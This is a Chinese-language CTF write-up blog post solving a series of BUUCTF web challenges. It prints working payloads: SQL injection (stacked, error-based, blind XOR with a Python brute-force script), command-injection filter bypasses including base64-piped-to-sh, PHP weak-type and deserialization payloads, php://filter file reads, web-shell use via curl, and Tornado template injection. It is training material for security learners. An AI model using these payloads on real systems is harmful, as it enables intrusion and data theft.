BUUCTF-WEB-刷题记录

这篇具有很好参考价值的文章主要介绍了BUUCTF-WEB-刷题记录。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

题目地址

https://buuoj.cn/challenges

[HITCON 2017]SSRFme

代码理解

进入主页后发现是代码审计
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全/

escapeshellarg  — 把字符串转码为可以在 shell 命令里使用的参数
@ — 抑制错误输出
mkdir  — 创建目录
chdir	  更改目录  
shell_exec  — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。  
pathinfo — 返回文件路径的信息  
dirname — 返回路径中的目录部分
basename — 返回路径中的文件名部分
file_put_contents — 将一个字符串写入文件  

解题

总的来说关注三行就够了,连起来可以这样理解:
创建一个目录名为orange+右上角的访客ip的MD5加密值
d a t a 接受 s h e l l 命令最后写入目录名 / data接受shell命令最后写入目录名/ data接受shell命令最后写入目录名/filename文件名里
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
MD5问题解决
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

在file协议中有个open可以利用,利用条件是执行命令的时候要有以执行命令命名的文件名

?url=file:ls -l /|&filename=ls -l /|
/sandbox/md5值/ls%20-l%20/%7C

?url=file:bash -c /readflag|&filename=bash -c /readflag|
/sandbox/md5值/bash -c /readflag|
使用bash  -c 是因为直接创建文件名会在更目录,这样访问的时候就找不到了

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

其他总结

ag命令 ag类似grep 和 find,但是执行效率比后两者高。搜索当前目录下匹配的字段

Linux中各个protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
参考:+
[HITCON 2017]SSRFme 1 - WeQi_Blog - 博客园
HITCON 2017 SSRFme

[SUCTF 2019]EasySQL

开始

进入主页之后发现一个输入框,还有提示:给我输入你的Flag,我告诉你是否正确
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
尝试输入1发现回显
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
尝试常用的注入方式无果,最后堆叠注入成功,Flag就在表里
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

解题

但是无论怎么样尝试绕过from都失败,我在Google也搜索不到有关的资料,就尝试其他获取flag的方法
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
发现随便乱输入都是有回显值的,而且回显值是以数组形式出来的
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
在数组中可以使用逗号分割,可以推断出源代码如下,*代表所有,0占一个位置,最后回显出flag值

$sql = "select ".$post['query']."||flag from Flag";

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
参考:
BUUCTF Web 1 – SUCTF 2019 EasySQL – 鲜鲜实验室

[极客大挑战 2019]Knife

木马连接用法,不会吧,还有人不会这个?“白给的flag”
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

使用插件

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

curl命令

curl -s -v -d "Syc=system('ls /');" 目标ip
里面有单引号,外面使用双引号,防止重复

-s //post请求
-v //查看详细
-d //要传输的数据

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

中国蚂蚁

打开中国蚂蚁,如图添加数据
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
测试连接成功之后添加
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
flag目录习惯在根目录里
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

其他总结

curl用法

[极客大挑2019]Http

页面来源请求

根据题目提示http,打开bp查看http请求的连接发现 /Secret.php
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
再次请求网站下的Secret.php,它不是来自https://Sycsecret.buuoj.cn
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
添加Referer:请求头

Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的

http浏览器头

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
根据回显:请使用“Syclover”浏览器,再次为数据包添加http请求头

客户端本地请求

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

添加X-Forwarded-For请求头:HTTP请求ip来源于

X-Forwarded-For:127.0.0.1

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

总结

Referer:请求来源于上一页的访问的链接,通常译为防盗链。

[GYCTF2020]Blacklist

注入点

输入单引号时报错,说明是字符类型
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
输入常规的联合注入,没有任何反应
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
尝试堆叠注入

1';show tables;

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
发现flag应该存在这个表里

解题

关于sql手工注入总结可以参考我之前的教程

https://blog.csdn.net/weixin_53912233/article/details/126622941

Payload:

1';handler FlagHere open as f;handler f read first;

获取flag
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

[MRCTF2020]Ez_bypass

代码审计

进入页面查看源代码,如图
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全


I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

我们只需要看关键函数即可,就能获取flag
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
第一行代码:
可以弱数组绕过,id变量和gg变量不能相等

 if (md5($id) === md5($gg) && $id !== $gg) {

弱数组绕过:

?id[]=1&gg[]=2

第二行代码:
passwd变量不能为数字,且passwd要等于1234567,由于==可以用弱类型绕过

 if (!is_numeric($passwd))
            {
                 if($passwd==1234567)

弱类型绕过:

passwd=1234567a

课外知识点

Hackbar插件解题

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

burp suite解题

由于解题需要post进行传输的,正常解题是需要用到Hackbar插件,如果只能使用抓包呢。因为我刚好做题的时候Hackbar出问题了,导致使用burp suite进行解题,但是我发现就算把GET改为POST还是不能传输POST数据。
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
添加http请求头即可

Content-Type: application/x-www-form-urlencoded

参考文档:
Post请求的3种编码格式:application/x-www-form-urlencoded和multipart/form-data和application/json_Hello_Error的博客-CSDN博客_”con.setrequestproperty(\“content-type\”, \“applic

总结

考点为弱类型和弱数组比较,遇到困难不要直接试一次,要多试

[ZJCTF 2019]NiZhuanSiWei

代码审计

访问页面,又是代码审计。。。
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

但也不是很难,我们主要看四个红框就行了,第一个大框框为变量接收,第二个文件内容接收转化为字符串(它说要 严等于右边的字符串),第三个框框为文件包含(可以利用协议进行文件读取),最后一个框框为对变量进行反序列化,说明了最后需要对password进行序列化的操作
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

协议绕过限制

关于文件操作安全漏洞,可以参考我之前的文章:

https://blog.csdn.net/weixin_53912233/article/details/126801617
绕过严等于

为了进行下一步,必须让text变量言等于右边字符串
利用data协议绕过

?text=data://text/plan;base64,d2VsY29tZSB0byB0aGUgempjdGY=
base64说明了字符格式,最右边是base64的内容

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

文件包含漏洞

可以根据题目代码的注释,来对该文件进行内容读取操作
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

php伪协议利用
php://filter/convert.base64-encode/resource=文件名 (php伪协议)

在上一步的情况下继续读取文件
添加以下payload:

&file=php://filter/convert.base64-encode/resource=useless.php

回显出base64,解码查看useless.php的源代码
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
useless.php 源代码如下:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

序列化

我可以看见代码最后会file变量的内容,当file变量等于flag.php时,最后进行序列化操作获得payload
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
payload生成代码:

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  


$a = new  Flag();
echo serialize($a);
?>

序列化payload:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
获得flag

passowd变量用来接收序列化payload,当$file变量=useless.php时就会包含该文件同时执行文件代码
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
最终Payload:

?text=data://text/plan;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
查看源码直接获取flag
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

总结

对伪协议和文件包含的知识巩固,懂这些知识点的利用不难的

[极客大挑战 2019]BuyFlag

解题

浏览页面,可以发现一些提示,要购买Flag必须时CUIT的学生,然后密码要正确
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

查看源代码可以发现提示

if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
进行php弱类型绕过,404后面加英文,因为user是0,改为1时发现回显,说明有戏
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
根据题目提示它说需要给钱才能有flag,Hacker!
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
当我给够钱时,它说我太多了,在php中对一个数目进行比较和判断这个函数有可能是strcmp(),它的漏洞就是

数组绕过

Payload

&money[]=    //任意字符

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

总结

习惯要对Cookie的0改为相反值,会有意外效果,还有对strcmp漏洞和is_numeric绕过的了解

[GXYCTF2019]BabySQli

信息收集

首先根据题目提示,我们可以发现这题是和SQL注入有些关系的
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

在登录框输入一个单引号,可以发现到sql注入的报错,但是双引号没有
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
尝试联合注入,进行枚举列数,发现 ’ order by 3# 被过滤了
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
考虑使用 union select 进行过滤,发现可以
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
提示列数不足
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
那么现在在添加一个列数,发现列数是可以了,但是提示用户名错误
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
那么根据提示说明了,sql注入先检查的是用户名,然后再检查密码

解题

通过枚举,发现用户名是admin,且为第二列
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
最后回显的是密码错误
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
根据提示,我们知道,使用联合查询,放入了admin字符串,居然都能让后端认为是一个合格的用户名,但殊不知它其实是一个精心被恶意篡改的sql语句,使得用户名检查通过。

那么我们换个角度思考既然第二列是用户名了,union select 联合查询的第三列应该是密码了。那么我们只需要让我们查询的密码,等于我们下方输入框输入的明文密码即可。

使用联合语句,最后插入一个任意md5的密码即可
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
payload:

'union select  1,'admin','698d51a19d8a121ce581499d7b701668'#

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
最后可以看见成功登录
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

[CISCN2019 华北赛区 Day2 Web1]Hack World

思路

通过题目提示可以看出是SQL注入
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
输入1和2会有回显,3则不会
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
想判断是否是数字型,使用or等MySQL的函数均发现被过滤了
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

原理

但是MySQL中有一个逻辑运算叫做XOR,具体语法规则为:

当任意一个操作数为 NULL 时,返回值为 NULL;
对于非 NULL 的操作数,如果两个操作数都是非 0 值或者都是 0 值,则返回值为 0;
如果一个为0值,另一个为非 0 值,返回值为 1。

XOR被过滤了,我们可以使用这个符号进行代替 ^
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
可以看见2亦或3的返回结果为1的结果,在亦或中,0 ^ 1 等于真,相反为假。也可以使用if语句进行

if(1,1,2)

我们可以利用这个亦或判断真假的条件,然后带入sql注入语句中,然后判断是否正确即可:

解题

所以构造payload:

0^(ascii(substr((select(flag)from(flag)),1,1))=102)

如果亦或为真,则payload指定的ASCII码正确,否则错误
下面是获取flag简单的python脚本:

import requests

session = requests.Session()
url = "http://9f2bb0a8-d6e3-4b71-906f-8667cdf48077.node4.buuoj.cn:81/index.php"

flag = ""
for i in range(1,60):
    print(f"正在枚举第{i}个位置")
    for j in range(0,128):
        payload = {f"id": "0^(ascii(substr((select(flag)from(flag)),%d,1))=%d)" %(i,j)}
        # print(payload)
        respone = session.post(url,data=payload,timeout=30)
        st = chr(j)
        if "Hello" in respone.text:
            flag += st
            print(f"第{i}个位置的字符为{st}")
            break
print(flag)

可能会因为网络原因导致,有些字符串的位置读取不出来
flag:

flag{69082bb1-7a37-4bd5-8bfd-b0ded6381d82}

总结

当一方为假的时候可以利用这个条件使用亦或判断,然后构造正确的sql语句,然后才能进行执行。

[GXYCTF2019]Ping Ping Ping

解题

根据题目提示,可以知道是执行命令绕过的考点
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
现在来尝试命令执行
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
尝试读取flag.php中的内容

内联执行+反引号

payload:

127.0.0.1|cat$IFS`ls`

$IFS 的作用是空格绕过,下面是关于其他空格绕过的方式:

%09 //url传递
$IFS
${IFS}
$IFS$数字 
< 
<> 

反引号的作用是把里面的输出,导入进cat命令中,最后执行
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

变量拼接

payload:

/?ip=127.0.0.1;a=g;cat$IFS$@fla$a.php
  • $@ 代表的是空变量

关于其他的空变量,还有以下方式:

l$*s
l$@s | ls$*s
l$5s
l${5}t
  • a=g 指的是g字符串,代入到a变量中

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

base64编码绕过

payload:

/?ip=127.0.0.1;echo$IFS$@Y2F0IGZsYWcucGhw|base64$IFS$@-d|sh

[强网杯 2019]随便注

思路

输入单引号发现道理MySQL的报错语句,说明可能存在注入点
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
想使用联合查询,但是这些函数的大小写都已经被过滤了
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
只能尝试换个思路,试试堆叠注入,是否可以
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
发现可以查看表的内容
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
查看表中的列名

';show columns from `1919810931114514`;

发现存在flag的关键字

解题

不懂的可以具体参考我之前写过的:

https://blog.csdn.net/weixin_53912233/article/details/126622941?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126622941%22%2C%22source%22%3A%22weixin_53912233%22%7D

Payload:

';Set @a=concat('sel','ect flag from `1919810931114514`;');prepare hh from @a;execute hh;

最后使用预处理语句,查看表中的flag列里的内容,从而获取flag。使用concat是为了绕过,代码的过滤检测
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

[极客大挑战 2019]Secret File

思路

通过抓包,在返回包看见隐藏的提示文件

secr3t.php

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
然后访问该文件名,发现考点是代码审计,但是主要过滤了这些字符串及协议流
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

解题

Payload:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

使用伪协议,可以直接读取flag.php文件
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
最后解码就可以获取到flag
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

[极客大挑战 2019]HardSQL

思路

根据尝试发现过滤了,空格和 = 号
payload:

'or(true)#

可以发现登录成功
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
空格绕过可以尝试使用括号代替,等于号可以使用 like 代替,使用报错注入,发现可以成功:

'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

解题

后面都是常规的查表,查列:

'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

最后查询password列,可以得出flag值。但是由于报错注入,回显的字符最多是31位,所以还需要使用right函数,查询右边的字符串

'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),31),0x7e),1))#

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

[MRCTF2020]Ez_bypass

解题

直接查看源代码
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
可以看见一共有两个关键的判断语句,判断通过的时候,就会输出flag。第一个红框框可以通过数组绕过,第二个红框框由于是弱类型,所以可以通过数字加字母拼接从而绕过,不过接受变量必须是POST请求
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全

[护网杯 2018]easy_tornado

思路

进去之后可以看见有三个文件
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
打开flag.txt 可以发现,要打开对应的文件,必须也有对应的md5值
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
打开welcome.txt,可以发现提示有模板注入
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
打开hints.txt,给了一个获取对应文件名的MD5值获取的方式,现在我们可以发现唯一缺少的是cookie_secret值。只要有了这个值,我们就可以构造MD5值,最后读取所需要的文件,就可以获取flag值
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
根据前面的welcome.txt 可以推测出,我们可以通过模板注入获取 cookie_secret 值,再通过题目的名字可以推测出框架是 tornado

解题

我们只需要在传参值,filename后面随便输入。就可以发现到SSTI的注入点

/file?filename=aa

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
进一步确认了,存在ssti漏洞

/error?msg={{100}}

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
获取cookie_secret,输入以下payload:

{{handler.settings}}

BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全
现在我们所需要的条件都拥有了,是时候构造MD5值了。

<?php
$result = md5('ee4b3727-1d79-46b9-9adf-664eb7007d5c'+=md5('/fllllllllllllag'));
echo $result;
?>

最后将hash与filename分别填入对应的内容即可
BUUCTF-WEB-刷题记录,CTF刷题记录,前端,安全,ctf,web安全文章来源地址https://www.toymoban.com/news/detail-728943.html

到了这里,关于BUUCTF-WEB-刷题记录的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 小白刷题CTF show web方向

    右键查看源代码,再使用在线解密,就可以得出答案了 admin\\\' or 1=1 或者 1 or 1=1 可以登录 查询几个字段: 1\\\' or 1=1 order by 3 # 使用此语句,判断列数。 order by 3不会出错,但是order by 4就没有显示了,因此判断共有3列。 ORDER BY 子句中的数字(如 ORDER BY 4)通常表示 按照查询结果中

    2024年03月14日
    浏览(32)
  • 一、CTF-Web-信息泄露(记录CTF学习)

    目录 1.源码泄露  1-1.页面源代码泄露  1-2.敏感文件泄露        1-2-1.备份(.swp/.bak/.beifen/~/phps等)        1-2-2.数据库(mdb)        1-2-3.压缩包(zip/tar.gz/rar/7z等)        1-2-4.路径(.git/.svn/.hg/.DS_Store/WEBINF/web.xml/cvs/Bazaar/bzr)      2.robots.txt泄露      3.404页面泄露

    2024年02月06日
    浏览(50)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(73)
  • 网络安全CTF之Web基础

    Web类的考试,在CTF比赛中十分常见。 本人从计算机专业转网络安全发展,属于半路出家,一知半解,如有总结不到位的地方,欢迎交流分享。 攻防世界Web Web基础中,常见的考点如下: 1、源代码隐藏 打开网页,显示 FLAG is not here。 F12查看源代码,取得flag 2、GET和POST传参 G

    2024年02月07日
    浏览(46)
  • CTF练习——WEB安全(BurpSuite为主)

    目录 BurpSuite用户名密码爆破 滑稽 计算器 Dummy Game 头等舱 alert GET POST HTTP Have fun 矛盾 网站被黑了 EasySQL WarmUp secret file STTI_1(模板注入) BurpSuite用户名密码爆破 输入错误的用户名密码组合:xiaoming 19971208,开启拦截: 发送到intruder,配置cluster bomb: 使用safe6,如下填写信息后

    2024年02月09日
    浏览(35)
  • 青少年CTF-Web-帝国CMS1-3通关记录

    本次进通过平台内题目进行,非真实环境。 首先下发题目链接 我们首先先找后台看看 后台地址为 /e/admin/ 随后,经过dirsearch进行扫描,得到了一个www.zip 访问扫描到的www.zip,得到网站源码 使用D盾扫描,得到eval后门。 蚁剑链接 得到根目录的Flag 这道题目和CMS01差不多,但是

    2024年02月03日
    浏览(48)
  • 安全 ctf-Web基础_cookie欺骗

    题目描述 Cookie :         Cookie欺骗、认证、伪造 解题思路: 1. 打开题目给的链接,显示:hello guest. only admin can get flag. 2. 使用F12快捷键进入开发者工具,选择控制台,修改管理员 admin 的 Cookie 值为 1(True): document.cookie   #查看cookie document.cookie = \\\'admin = 1\\\'  #将admin的值修

    2024年04月28日
    浏览(41)
  • 【CTF】CTF竞赛介绍以及刷题网址

    CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形

    2024年02月03日
    浏览(39)
  • CTF-Crypto学习记录-第四天 “ “ --- SHA1安全散列算法,实现原理。

    MD5学习MD5加密算法 SHA-1(Secure Hash Algorithm1,安全散列算法1)是一种密码散列函数。 SHA-1可以生成一个被称为消息摘要的160位(20字节)散列值,散列值通常的呈现形式为40个十六进制数。 SHA-1的历史: 2005年,密码分析人员发现了对SHA-1的有效攻击方法,这表明该算法可能不够

    2024年02月07日
    浏览(38)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包